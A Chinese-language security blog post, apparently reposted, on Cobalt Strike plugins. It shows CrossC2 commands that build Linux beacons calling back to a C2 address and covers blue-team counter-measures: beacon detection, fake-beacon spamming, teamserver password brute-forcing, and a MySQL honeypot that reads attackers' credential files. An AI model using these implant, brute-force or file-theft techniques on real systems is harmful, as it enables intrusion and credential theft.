Scripting extensions-脚本拓展

CNA 扩展

Cobalt Strike 可以使用 AggressorScripts 脚本来加强自身,能够扩展菜单栏,Beacon 命令行,提权脚本等

相关文章

  • https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/agressor_script.htm

CS插件资源

  • rmikehodges/cs-ssl-gen sslgen 将安装一个 letsencrypt 证书并从中创建一个 Cobalt Strike 密钥库.
  • uknowsec/SharpToolsAggressor - 内网渗透中常用的 c# 程序整合成 cs 脚本, 直接内存加载.
  • DeEpinGh0st/Erebus CobaltStrike 后渗透测试插件
  • QAX-A-Team/EventLogMaster - RDP 日志取证 & 清除插件
  • outflanknl/Spray-AD - Cobalt Strike工具,用于审核 AD 用户帐户中的弱密码
  • gloxec/CrossC2 - generate CobaltStrike's cross-platform payload
  • lintstar/LSTAR - LSTAR - CobaltStrike 综合后渗透插件
  • AttackTeamFamily/cobaltstrike-bof-toolset - 在cobaltstrike中使用的bof工具集,收集整理验证好用的bof。
  • outflanknl/PrintNightmare - CVE-2021-1675 / CVE-2021-34527 exploit.
  • helpsystems/nanodump - Dumping LSASS has never been so stealthy
  • optiv/Registry-Recon - Cobalt Strike Aggressor Script that Performs System/AV/EDR Recon
  • mgeeky/cobalt-arsenal - My collection of battle-tested Aggressor Scripts for Cobalt Strike 4.0+

Cobalt Strike 可通过它的 Aggressor Script 语言来为其编写脚本。Aggressor Script 是 Armitage 的 Cortana 脚本语言的精神继任者,虽然这两者并不兼容。通过 Cobalt Strike → Script Manager 来对脚本进行管理。

CrossC2上线Linux

地址 : https://github.com/gloxec/CrossC2

下载 CrossC2.cna ,和相应平台的二进制文件,先修改 CrossC2.cna

改为指定的文件路径

选择 Script Manager,添加 CrossC2.cna

起个 https 的监听器

将服务端的 .cobaltstrike.beacon_keys 文件拷到二进制文件目录下

生成

也可以用命令

genCrossC2.Win.exe 192.168.141.151 443 ./.cobaltstrike.beacon_keys null Linux x64 test

上传 test 文件至目标,加权限运行,目标上线

参考文章

  • https://0x20h.com/p/c02f.html
  • https://www.cnblogs.com/micr067/p/13311206.html

生成 rebind 库

当 teamserver 配置了 c2profile 时,需要提前生成 rebind 库供生成 beacon 时使用

参考官方的格式

  • https://gloxec.github.io/CrossC2/zh_cn/protocol/
  • https://github.com/gloxec/CrossC2/blob/cs4.1/protocol_demo/https.profile
  • https://github.com/gloxec/CrossC2/blob/cs4.1/protocol_demo/c2profile.c
  • https://github.com/gloxec/CrossC2/blob/cs4.1/protocol_demo/proxy_udp.py
  • https://github.com/gloxec/CrossC2/blob/cs4.1/protocol_demo/rebind_udp.c

修改完毕后,测试 profile,编译生成

./c2lint test.profile

# 登录 cs 生成 rebind 库供生成 beacon
gcc test.c -fPIC -shared -o lib_rebind_test.so

直接生成 shell

# 登录 cs 生成 shell
./genCrossC2.Linux xx.xx.xx.xx 443 .cobaltstrike.beacon_keys null Linux x64 shell

域前置模式下生成 shell

# 登录 cs 生成 shell
./genCrossC2.Linux xx.xx.xx.xx 443 .cobaltstrike.beacon_keys ./lib_rebind_test.so Linux x64 shell

# 注意 mac m1 下生成的 shell , x86 运行上不了线

导入 cna

下载 https://github.com/gloxec/CrossC2/releases/download/v3.1.0/CrossC2Kit-GithubBot-2022-06-07.zip

导入 CrossC2Kit_Loader.cna

注意

其实可以不用 CrossC2.cna 这个脚本, 直接在 cs 服务器的命令行下生成即可, 注意生成时候的回连地址, 如果是域前置要把域前置的 ip 指定,然后 host 头要在 profile 里指定,和 genCrossC2.Linux 没有关系

如果还是上不了线,建议仔细看看这几个issue

  • https://github.com/gloxec/CrossC2/issues/60
  • https://github.com/gloxec/CrossC2/issues/89
  • https://github.com/gloxec/CrossC2/issues/65

另外,mac m1 下生成的 shell ,x86 机器是用不了的,所以建议 cs 全套都在 x86 的机器上弄

Mac上线

Blue team counter-蓝队反制

参考:

反制Cobaltstrike的那些手段 - 腾讯云开发者社区-腾讯云 (tencent.com)

(96条消息) CS反制-CS服务器新特征_Gamma_lab的博客-CSDN博客

反击CobaltStrike(一) 以假乱真 - SecPulse.COM | 安全脉搏

服务端特征分析

相关文章

beacon检测

相关文章

  • Yara入门——如何通过Yara规则匹配CobaltStrike恶意样本
  • Decoding Cobalt Strike: Understanding Payloads
  • 再探BeaconEye

相关工具

  • huoji120/CobaltStrikeDetected - 40 行代码检测到大部分 CobaltStrike 的 shellcode
  • CCob/BeaconEye - Hunts out CobaltStrike beacons and logs operator command output

检测规则

  • https://github.com/avast/ioc/tree/master/CobaltStrike
  • https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_CobaltStrike.yar

Hook Heap

  • Hook Heaps and Live Free

Sleep Mask Kit

  • Sleeping with a Mask On (Cobalt Strike)
  • Detecting Cobalt Strike with memory signatures

beacon分析

由于 beacon 中存在 C2 的信息,部分工具可以直接解析 beacon 中的 C2 信息,甚至模拟上线干扰服务器

相关工具

  • Sentinel-One/CobaltStrikeParser - Python parser for CobaltStrike Beacon's configuration

    python parse_beacon_config.py beacon.exe
  • https://blog.didierstevens.com/2021/12/21/update-1768-py-version-0-0-11/ - Beacon 进程 Dump 分析工具

上线包干扰

相关工具

  • hariomenkel/CobaltSpam - can be used to spam a CobaltStrike server with fake beacons
  • jas502n/CS_mock - 模拟cobalt strike beacon上线包.
  • LiAoRJ/CS_fakesubmit - 一个可以伪装上线Cobaltstrike的脚本

爆破 cobaltstrike teamserver 密码

  • ryanohoro/csbruter

    git clone https://github.com/ryanohoro/csbruter
    cd csbruter
    cat wordlist.txt | python3 csbruter.py xxx.xxx.xxx.xxx

MySQL蜜罐读取配置文件

参考: https://mp.weixin.qq.com/s/i8eBT8O2IwCotf7wqnveEw

  1. mysql 中的 load data local infile 函数能够读取本地文件到 mysql 数据库中。当攻击者用爆破 mysql 密码的扫描器扫描到我们的 mysql 并连接上的时候,客户端(攻击者)会自动发起一个查询,我们(服务端)会给与一个回应,我们在回应的数据包中加入 load data local infile 读取攻击者的本地文件到我们数据库中,达到反制的目的。

  2. 只要是使用 cs 客户端连接过 cs 服务端的电脑,cs 客户端都会在固定的文件夹下生成一个 .aggressor.prop 配置文件。如果是 Windows 系统,那么文件位置是:C:\Users\Administrator\.aggressor.prop,这个配置文件里面就包含了 cs 远控的 ip 地址、端口、用户名及密码,而且都是明文的.

  3. 搭建一个mysql蜜罐,一旦攻击者连接这个蜜罐,那么这个蜜罐利用msyql本地文件读取漏洞去自动读取 C:\Users\Administrator\.aggressor.prop 这个文件内容,蜜罐就可以成功得到攻击者的cs服务端ip地址、端口、用户名密码。

mac 的配置文件位置在 ~/.aggressor.prop

CVE-2022-39197

旁路反制

这个就比较泛泛而谈了,好比渗透测试或者是rt打项目的时候,如果目标找不到利用点进去,就可以从旁站看看对吧,所以这种旁路反制亦是这样,我们发现一个c2上运行着cobaltstrike server了,然后上述的其他反制手段都行不通,这时我们就可以看看,这个c2上是不是还有其他的服务,我们对其端口进行扫描,获取相关信息,从其他服务的缺陷来实现反制,举个例子,很对rt或者攻击者在遇到weblogic、fastjson、log4j2等jndi漏洞的时候,要进行漏洞利用就得起rmi或者ldap,server,自己手动起是很麻烦的,所以网上会有很多的自动化工具,这对于攻击者来说是一个不错的选择。那么如果我们发现网上这类工具的一些rce了,就可以通过这个来反制。

前段时间参加某次演习活动的时候,通过一些手段拿到了一个c2,对c2进行扫描后发现,其相关端口搭建的服务是nps的web控制端服务,所以后续就可以通过爆破该服务来实现反制,虽然后续爆破无果,后续的话正好当时nps是爆出来了个鉴权的漏洞,通过这个漏洞我们实现反制,拿到了攻击者的一些信息,以及其掌握的相关权限。

总而言之,旁路反制的这个概念是非常广泛的,手段也是层出不朽的。在近些年的攻防的博弈中,防守方的防守体系已经逐渐体系成熟化,并且也逐渐开启了一些反制的号角,这里面蜜罐是最具有里程碑意义的。笔者认为一方攻一方守并不是所谓的攻防,攻防也者,应该是来回交战,攻中带防(攻击者要能掌握反反制手段),防中带攻(防守者要能抓住攻击者露出的马脚,进行反制),就和古代武侠比武一样。


文章来源: http://mp.weixin.qq.com/s?__biz=Mzk0NjMyNDcxMg==&mid=2247499230&idx=1&sn=9c553f21bc0e02e35e76bf7af45766ad&chksm=c3056859f472e14f542b74866d83aafd6e1968d55f1d5854367d484cc097c07c8fcff3a742c1#rd
如有侵权请联系:admin#unsafe.sh